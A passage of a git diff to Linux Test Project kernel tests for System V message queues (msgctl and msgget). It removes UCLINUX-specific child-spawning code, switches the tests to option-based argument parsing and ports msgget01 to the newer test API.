-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	maybe_run_child(&do_child_1_uclinux, "ndd", 1, &key_uclinux,
-			&i_uclinux);
-	maybe_run_child(&do_child_2_uclinux, "nddd", 2, &id_uclinux,
-			&key_uclinux, &child_process_uclinux);
-#endif
+	tst_parse_opts(argc, argv, options, usage);
 
 	setup();
 
-	if (argc == 1) {
-		/* Set default parameters */
-		nreps = MAXNREPS;
-		nprocs = MSGMNI;
-	} else if (argc == 3) {
-		if (atoi(argv[1]) > MAXNREPS) {
-			tst_resm(TCONF,
-				 "Requested number of iterations too large, setting to Max. of %d",
-				 MAXNREPS);
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
 			nreps = MAXNREPS;
-		} else {
-			nreps = atoi(argv[1]);
 		}
-		if (atoi(argv[2]) > MSGMNI) {
-			tst_resm(TCONF,
-				 "Requested number of processes too large, setting to Max. of %d",
-				 MSGMNI);
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
 			nprocs = MSGMNI;
-		} else {
-			nprocs = atoi(argv[2]);
 		}
-	} else {
-		tst_brkm(TCONF,
-			 NULL,
-			 " Usage: %s [ number of iterations  number of processes ]",
-			 argv[0]);
 	}
 
 	srand(getpid());
@@ -172,14 +161,8 @@
 		}
 		/* Child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "ndd", 1, keyarray[i], i) < 0) {
-				tst_brkm(TFAIL, NULL, "\tself_exec failed");
-			}
-#else
 			procstat = 1;
 			exit(dotest(keyarray[i], i));
-#endif
 		}
 		pidarray[i] = pid;
 	}
@@ -216,20 +199,6 @@
 	tst_exit();
 }
 
-#ifdef UCLINUX
-static void do_child_1_uclinux(void)
-{
-	procstat = 1;
-	exit(dotest(key_uclinux, i_uclinux));
-}
-
-static void do_child_2_uclinux(void)
-{
-	exit(doreader(key_uclinux, id_uclinux, 1,
-			child_process_uclinux, nreps));
-}
-#endif
-
 static int dotest(key_t key, int child_process)
 {
 	int id, pid;
@@ -257,21 +226,8 @@
 		return FAIL;
 	}
 	/* Child does this */
-	if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv0, "nddd", 2, id, key, child_process) < 0) {
-			printf("self_exec failed\n");
-			TEST(msgctl(tid, IPC_RMID, 0));
-			if (TEST_RETURN < 0) {
-				printf("msgctl() error in cleanup: %s\n",
-					strerror(errno));
-			}
-			return FAIL;
-		}
-#else
+	if (pid == 0)
 		exit(doreader(key, id, 1, child_process, nreps));
-#endif
-	}
 	/* Parent does this */
 	mykid = pid;
 	procstat = 2;
@@ -334,7 +290,6 @@
 #ifdef DEBUG
 	tst_resm(TINFO, "Removing the message queue");
 #endif
-	fflush(stdout);
 	(void)msgctl(tid, IPC_RMID, NULL);
 	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
 		(void)msgctl(tid, IPC_RMID, NULL);
@@ -342,7 +297,5 @@
 
 	}
 
-	fflush(stdout);
-
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c
index 0291132..3d6a6e1 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c
@@ -65,76 +65,65 @@
 static int dotest(key_t, int);
 static void cleanup_msgqueue(int i, int tid);
 
-#ifdef UCLINUX
-static char *argv0;
-static key_t key_uclinux;
-static int i_uclinux;
-static int pid_uclinux;
-static int child_process_uclinux;
-static int rkid_uclinux;
+static char *opt_nprocs;
+static char *opt_nkids;
+static char *opt_nreps;
 
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"c:", NULL, &opt_nkids},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
 
-static void do_child_1_uclinux(void);
-static void do_child_2_uclinux(void);
-static void do_child_3_uclinux(void);
-#endif
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -c      Number of read/write child pairs\n");
+	printf("  -l      Number of iterations\n");
+}
 
 int main(int argc, char **argv)
 {
 	int i, j, ok, pid;
 	int count, status;
 
-#ifdef UCLINUX
-
-	argv0 = argv[0];
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	maybe_run_child(&do_child_1_uclinux, "ndd", 1, &key_uclinux,
-			&i_uclinux);
-	maybe_run_child(&do_child_2_uclinux, "nddd", 2, &key_uclinux,
-			&pid_uclinux, &child_process_uclinux);
-	maybe_run_child(&do_child_3_uclinux, "nddd", 3, &key_uclinux,
-			&rkid_uclinux, &child_process_uclinux);
-#endif
+	tst_parse_opts(argc, argv, options, usage);
 
 	setup();
 
-	if (argc == 1) {
-		/* Set default parameters */
-		nreps = MAXNREPS;
-		nprocs = MSGMNI;
-		nkids = MAXNKIDS;
-	} else if (argc == 4) {
-		if (atoi(argv[1]) > MAXNREPS) {
-			tst_resm(TCONF,
-				 "Requested number of iterations too large, setting to Max. of %d",
-				 MAXNREPS);
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+	nkids = MAXNKIDS;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
 			nreps = MAXNREPS;
-		} else {
-			nreps = atoi(argv[1]);
 		}
-		if (atoi(argv[2]) > MSGMNI) {
-			tst_resm(TCONF,
-				 "Requested number of processes too large, setting to Max. of %d",
-				 MSGMNI);
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
 			nprocs = MSGMNI;
-		} else {
-			nprocs = atoi(argv[2]);
 		}
-		if (atoi(argv[3]) > MAXNKIDS) {
-			tst_resm(TCONF,
-				 "Requested number of read/write pairs too large; setting to Max. of %d",
-				 MAXNKIDS);
+	}
+
+	if (opt_nkids) {
+		nkids = atoi(opt_nkids);
+		if (nkids > MAXNKIDS) {
+			tst_resm(TINFO,
+				 "Requested number of read/write pairs too "
+				 "large, setting to Max. of %d", MAXNKIDS);
 			nkids = MAXNKIDS;
-		} else {
-			nkids = atoi(argv[3]);
 		}
-	} else {
-		tst_brkm(TCONF,
-			 NULL,
-			 " Usage: %s [ number of iterations  number of processes number of read/write pairs ]",
-			 argv[0]);
 	}
 
 	procstat = 0;
@@ -182,14 +171,8 @@
 		}
 		/* Child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "ndd", 1, keyarray[i], i) < 0) {
-				tst_brkm(TFAIL, NULL, "\tself_exec failed");
-			}
-#else
 			procstat = 1;
 			exit(dotest(keyarray[i], i));
-#endif
 		}
 		pidarray[i] = pid;
 	}
@@ -226,28 +209,6 @@
 	tst_exit();
 }
 
-#ifdef UCLINUX
-static void do_child_1_uclinux(void)
-{
-	procstat = 1;
-	exit(dotest(key_uclinux, i_uclinux));
-}
-
-static void do_child_2_uclinux(void)
-{
-	procstat = 2;
-	exit(doreader(key_uclinux, tid, pid_uclinux,
-			child_process_uclinux, nreps));
-}
-
-static void do_child_3_uclinux(void)
-{
-	procstat = 2;
-	exit(dowriter(key_uclinux, tid, rkid_uclinux,
-			child_process_uclinux, nreps));
-}
-#endif
-
 static void cleanup_msgqueue(int i, int tid)
 {
 	/*
@@ -296,18 +257,9 @@
 		}
 		/* First child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "nddd", 2, key, getpid(),
-				      child_process) < 0) {
-				printf("self_exec failed\n");
-				cleanup_msgqueue(i, tid);
-				return FAIL;
-			}
-#else
 			procstat = 2;
 			exit(doreader(key, tid, getpid(),
 					child_process, nreps));
-#endif
 		}
 		rkidarray[i] = pid;
 		fflush(stdout);
@@ -324,24 +276,9 @@
 		}
 		/* Second child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "nddd", 3, key, rkidarray[i],
-				      child_process) < 0) {
-				printf("\tFork failure in the first child of child group %d\n",
-					child_process);
-				/*
-				 * Kill the reader child process
-				 */
-				(void)kill(rkidarray[i], SIGKILL);
-
-				cleanup_msgqueue(i, tid);
-				return FAIL;
-			}
-#else
 			procstat = 2;
 			exit(dowriter(key, tid, rkidarray[i],
 					child_process, nreps));
-#endif
 		}
 		wkidarray[i] = pid;
 	}
@@ -386,7 +323,6 @@
 	return exit_status;
 }
 
-/* ARGSUSED */
 static void term(int sig LTP_ATTRIBUTE_UNUSED)
 {
 	int i;
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c
index 5cf695a..f0f873f 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c
@@ -61,16 +61,20 @@
 static int dotest(key_t key, int child_process);
 static void sig_handler(int signo);
 
-#ifdef UCLINUX
-static char *argv0;
-static key_t key_uclinux;
-static int i_uclinux;
-static int id_uclinux;
-static int child_process_uclinux;
+static char *opt_nprocs;
+static char *opt_nreps;
 
-static void do_child_1_uclinux(void);
-static void do_child_2_uclinux(void);
-#endif
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -l      Number of iterations\n");
+}
 
 int main(int argc, char **argv)
 {
@@ -78,46 +82,31 @@
 	int count, status;
 	struct sigaction act;
 
-#ifdef UCLINUX
-
-	argv0 = argv[0];
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	maybe_run_child(&do_child_1_uclinux, "ndd", 1, &key_uclinux,
-			&i_uclinux);
-	maybe_run_child(&do_child_2_uclinux, "nddd", 2, &id_uclinux,
-			&key_uclinux, &child_process_uclinux);
-#endif
+	tst_parse_opts(argc, argv, options, usage);
 
 	setup();
 
-	if (argc == 1) {
-		/* Set default parameters */
-		nreps = MAXNREPS;
-		nprocs = MSGMNI;
-	} else if (argc == 3) {
-		if (atoi(argv[1]) > MAXNREPS) {
-			tst_resm(TCONF,
-				 "Requested number of iterations too large, setting to Max. of %d",
-				 MAXNREPS);
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
 			nreps = MAXNREPS;
-		} else {
-			nreps = atoi(argv[1]);
 		}
-		if (atoi(argv[2]) > MSGMNI) {
-			tst_resm(TCONF,
-				 "Requested number of processes too large, setting to Max. of %d",
-				 MSGMNI);
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
 			nprocs = MSGMNI;
-		} else {
-			nprocs = atoi(argv[2]);
 		}
-	} else {
-		tst_brkm(TCONF,
-			 NULL,
-			 " Usage: %s [ number of iterations  number of processes ]",
-			 argv[0]);
 	}
 
 	srand(getpid());
@@ -169,13 +158,8 @@
 		}
 		/* Child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "ndd", 1, keyarray[i], i) < 0)
-				tst_brkm(TFAIL, NULL, "\tself_exec failed");
-#else
 			procstat = 1;
 			exit(dotest(keyarray[i], i));
-#endif
 		}
 		pidarray[i] = pid;
 	}
@@ -212,20 +196,6 @@
 	tst_exit();
 }
 
-#ifdef UCLINUX
-static void do_child_1_uclinux(void)
-{
-	procstat = 1;
-	exit(dotest(key_uclinux, i_uclinux));
-}
-
-static void do_child_2_uclinux(void)
-{
-	exit(doreader(key_uclinux, id_uclinux, 1,
-			child_process_uclinux, nreps));
-}
-#endif
-
 static int dotest(key_t key, int child_process)
 {
 	int id, pid;
@@ -251,23 +221,9 @@
 		}
 		return FAIL;
 	}
-	/* Child does this */
-	if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv0, "nddd", 2, id, key, child_process) < 0) {
-			printf("self_exec failed\n");
-			TEST(msgctl(tid, IPC_RMID, 0));
-			if (TEST_RETURN < 0) {
-				printf("msgctl() error in cleanup: %s\n",
-					strerror(TEST_ERRNO));
-			}
-			return FAIL;
-		}
-#else
+	if (pid == 0)
 		exit(doreader(key, id, 1, child_process, nreps));
-#endif
-	}
-	/* Parent does this */
+
 	mykid = pid;
 	procstat = 2;
 	ret = dowriter(key, id, 1, child_process, nreps);
@@ -323,7 +279,6 @@
 #ifdef DEBUG
 	tst_resm(TINFO, "Removing the message queue");
 #endif
-	fflush(stdout);
 	(void)msgctl(tid, IPC_RMID, NULL);
 	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
 		(void)msgctl(tid, IPC_RMID, NULL);
@@ -331,7 +286,5 @@
 
 	}
 
-	fflush(stdout);
-
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c
index aa59c00..89099a7 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c
@@ -70,71 +70,65 @@
 static void dotest_iteration(int off);
 static void cleanup_msgqueue(int i, int tid);
 
-#ifdef UCLINUX
-static char *argv0;
-static key_t key_uclinux;
-static int i_uclinux;
-static int pid_uclinux;
-static int child_process_uclinux;
-static int rkid_uclinux;
+static char *opt_maxnprocs;
+static char *opt_nkids;
+static char *opt_nreps;
 
-static void do_child_1_uclinux(void);
-static void do_child_2_uclinux(void);
-static void do_child_3_uclinux(void);
-#endif
+static option_t options[] = {
+	{"n:", NULL, &opt_maxnprocs},
+	{"c:", NULL, &opt_nkids},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -c      Number of read/write child pairs\n");
+	printf("  -l      Number of iterations\n");
+}
+
 
 int main(int argc, char **argv)
 {
 	int i, j, ok;
 
-#ifdef UCLINUX
-
-	argv0 = argv[0];
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	maybe_run_child(&do_child_1_uclinux, "ndd", 1, &key_uclinux,
-			&i_uclinux);
-	maybe_run_child(&do_child_2_uclinux, "nddd", 2, &key_uclinux,
-			&pid_uclinux, &child_process_uclinux);
-	maybe_run_child(&do_child_3_uclinux, "nddd", 3, &key_uclinux,
-			&rkid_uclinux, &child_process_uclinux);
-#endif
+	tst_parse_opts(argc, argv, options, usage);
 
 	setup();
 
-	if (argc == 1) {
-		/* Set default parameters */
-		nreps = MAXNREPS;
-		nkids = DEFNKIDS;
-	} else if (argc == 4) {
-		if (atoi(argv[1]) > MAXNREPS) {
+	nreps = MAXNREPS;
+	nkids = MAXNKIDS;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
 			tst_resm(TINFO,
-				 "Requested number of iterations too large, setting to Max. of %d",
-				 MAXNREPS);
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
 			nreps = MAXNREPS;
-		} else {
-			nreps = atoi(argv[1]);
 		}
-		if (atoi(argv[2]) > maxnprocs) {
+	}
+
+	if (opt_nkids) {
+		nkids = atoi(opt_nkids);
+		if (nkids > MAXNKIDS) {
 			tst_resm(TINFO,
-				 "Requested number of processes too large, setting to Max. of %d",
-				 maxnprocs);
-		} else {
-			maxnprocs = atoi(argv[2]);
+				 "Requested number of read/write pairs too "
+				 "large, setting to Max. of %d", MAXNKIDS);
+			nkids = MAXNKIDS;
 		}
-		if (atoi(argv[3]) > maxnkids) {
+	}
+
+
+	if (opt_maxnprocs) {
+		if (atoi(opt_maxnprocs) > maxnprocs) {
 			tst_resm(TINFO,
-				 "Requested number of read/write pairs too large; setting to Max. of %d",
-				 maxnkids);
-			nkids = maxnkids;
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
 		} else {
-			nkids = atoi(argv[3]);
+			maxnprocs = atoi(opt_maxnprocs);
 		}
-	} else {
-		tst_brkm(TCONF, cleanup,
-			 " Usage: %s [ number of iterations  number of processes number of read/write pairs ]",
-			 argv[0]);
 	}
 
 	procstat = 0;
@@ -212,15 +206,8 @@
 
 		/* Child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "ndd", 1, key, i) < 0) {
-				printf("\tself_exec failed\n");
-				exit(FAIL);
-			}
-#else
 			procstat = 1;
 			exit(dotest(key, i));
-#endif
 		}
 		pidarray[i] = pid;
 	}
@@ -248,28 +235,6 @@
 			 count, nprocs);
 }
 
-#ifdef UCLINUX
-static void do_child_1_uclinux(void)
-{
-	procstat = 1;
-	exit(dotest(key_uclinux, i_uclinux));
-}
-
-static void do_child_2_uclinux(void)
-{
-	procstat = 2;
-	exit(doreader(key_uclinux, tid, pid_uclinux,
-			child_process_uclinux, nreps));
-}
-
-static void do_child_3_uclinux(void)
-{
-	procstat = 2;
-	exit(dowriter(key_uclinux, tid, rkid_uclinux,
-			child_process_uclinux, nreps));
-}
-#endif
-
 static void cleanup_msgqueue(int i, int tid)
 {
 	/*
@@ -318,18 +283,9 @@
 		}
 		/* First child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "nddd", 2, key, getpid(),
-				      child_process) < 0) {
-				printf("self_exec failed\n");
-				cleanup_msgqueue(i, tid);
-				return FAIL;
-			}
-#else
 			procstat = 2;
 			exit(doreader(key, tid, getpid(),
 					child_process, nreps));
-#endif
 		}
 		rkidarray[i] = pid;
 		if ((pid = FORK_OR_VFORK()) < 0) {
@@ -345,24 +301,9 @@
 		}
 		/* Second child does this */
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "nddd", 3, key, rkidarray[i],
-				      child_process) < 0) {
-				printf("\tFork failure in the first child of child group %d\n",
-					child_process);
-				/*
-				 * Kill the reader child process
-				 */
-				(void)kill(rkidarray[i], SIGKILL);
-
-				cleanup_msgqueue(i, tid);
-				return FAIL;
-			}
-#else
 			procstat = 2;
 			exit(dowriter(key, tid, rkidarray[i],
 					child_process, nreps));
-#endif
 		}
 		wkidarray[i] = pid;
 	}
diff --git a/testcases/kernel/syscalls/ipc/msgget/Makefile b/testcases/kernel/syscalls/ipc/msgget/Makefile
index f467389..f11974c 100644
--- a/testcases/kernel/syscalls/ipc/msgget/Makefile
+++ b/testcases/kernel/syscalls/ipc/msgget/Makefile
@@ -1,23 +1,22 @@
 #
-#  Copyright (c) International Business Machines  Corp., 2001
+# Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
 #
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
 #
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# You should have received a copy of the GNU General Public License
+# along with this program.
 #
 
 top_srcdir              ?= ../../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
+include $(abs_srcdir)/../Makefile2.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget01.c b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
index e8208b7..8e058c5 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget01.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
@@ -1,186 +1,79 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgget01.c
- *
  * DESCRIPTION
- *	msgget01 - create a message queue, write a message to it and
- *		   read it back.
- *
- * ALGORITHM
- *	loop if that option was specified
- *	create a message queue
- *	check the return code
- *	  if failure, issue a FAIL message.
- *	otherwise,
- *	  if doing functionality testing by writting a message to the queue,
- *	  reading it back and comparing the two.
- *	  	if the messages are the same,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgget01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * create a message queue, write a message to it and
+ * read it back.
  */
 
-#include "ipcmsg.h"
-
+#include <errno.h>
 #include <string.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
 
-char *TCID = "msgget01";
-int TST_TOTAL = 1;
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-int msg_q_1 = -1;		/* to hold the message queue ID */
+static int queue_id = -1;
+static key_t msgkey;
 
-int main(int ac, char **av)
+static struct buf {
+	long type;
+	char text[MSGSIZE];
+} rcv_buf, snd_buf = {MSGTYPE, "hello, world"};
+
+static void verify_msgget(void)
 {
-	int lc;
-	void check_functionality(void);
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use TEST macro to make the call to create the message queue
-		 */
-
-		TEST(msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RD | MSG_WR));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "%s call failed - errno = %d : %s",
-				 TCID, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			msg_q_1 = TEST_RETURN;
-			/*
-			 * write a message to the queue.
-			 * read back the message.
-			 * PASS the test if they are the same.
-			 */
-			check_functionality();
-		}
-
-		/*
-		 * remove the message queue that was created and mark the ID
-		 * as invalid.
-		 */
-		if (msg_q_1 != -1) {
-			rm_queue(msg_q_1);
-			msg_q_1 = -1;
-		}
+	TEST(msgget(msgkey, IPC_CREAT | MSG_RW));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "msgget() failed");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	queue_id = TEST_RETURN;
+
+	SAFE_MSGSND(queue_id, &snd_buf, MSGSIZE, 0);
+
+	SAFE_MSGRCV(queue_id, &rcv_buf, MSGSIZE, MSGTYPE, IPC_NOWAIT);
+
+	if (strcmp(snd_buf.text, rcv_buf.text) == 0)
+		tst_res(TPASS, "message received = message sent");
+	else
+		tst_res(TFAIL, "message received != message sent");
 }
 
-/*
- * check_functionality() - check the functionality of the tested system call.
- */
-void check_functionality(void)
+static void setup(void)
 {
-	int i = 0;
-	MSGBUF snd_buf, rcv_buf;
-
-	/* EAGLE: Houston, Tranquility Base here. The Eagle has landed! */
-	char *queue_msg =
-	    "Qston, check_functionality here.  The message has queued!";
-
-	/*
-	 * copy our message into the buffer and then set the type.
-	 */
-	do {
-		snd_buf.mtext[i++] = *queue_msg;
-	} while (*queue_msg++ != '\0');
-
-	snd_buf.mtype = MSGTYPE;
-
-	/* send the message */
-	if (msgsnd(msg_q_1, &snd_buf, MSGSIZE, 0) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not send a message in the "
-			 "check_functionality() routine.");
-	}
-
-	/* receive the message */
-	if (msgrcv(msg_q_1, &rcv_buf, MSGSIZE, MSGTYPE, IPC_NOWAIT) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not read a messages in the "
-			 "check_functionality() routine.");
-	}
-
-	if (strcmp(snd_buf.mtext, rcv_buf.mtext) == 0) {
-		tst_resm(TPASS, "message received = message sent");
-	} else {
-		tst_resm(TFAIL, "message received != message sent");
-	}
+	msgkey = GETIPCKEY();
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void cleanup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the message queue that was created */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.tid = "msgget01",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_msgget,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget02.c b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
index be9bc61..9cf1314 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget02.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
@@ -1,176 +1,120 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgget02.c
- *
  * DESCRIPTION
- *	msgget02 - test for EEXIST and ENOENT errors
+ * 1) msgget(2) fails if a message queue exists for key and msgflg
+ *    specified both IPC_CREAT and IPC_EXCL.
+ * 2) msgget(2) fails if no message queue exists for key and msgflg
+ *    did not specify IPC_CREAT.
+ * 3) msgget(2) fails if a message queue exists for key, but the
+ *    calling process does not have permission to access the queue,
+ *    and does not have the CAP_IPC_OWNER capability.
  *
- * ALGORITHM
- *	create a message queue
- *	loop if that option was specified
- *	try to recreate the same queue - test #1
- *	try to access a queue that doesn't exist - tests #2 & #3
- *	check the errno value
- *	  issue a PASS message if we get EEXIST or ENOENT depening on test
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  msgget02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
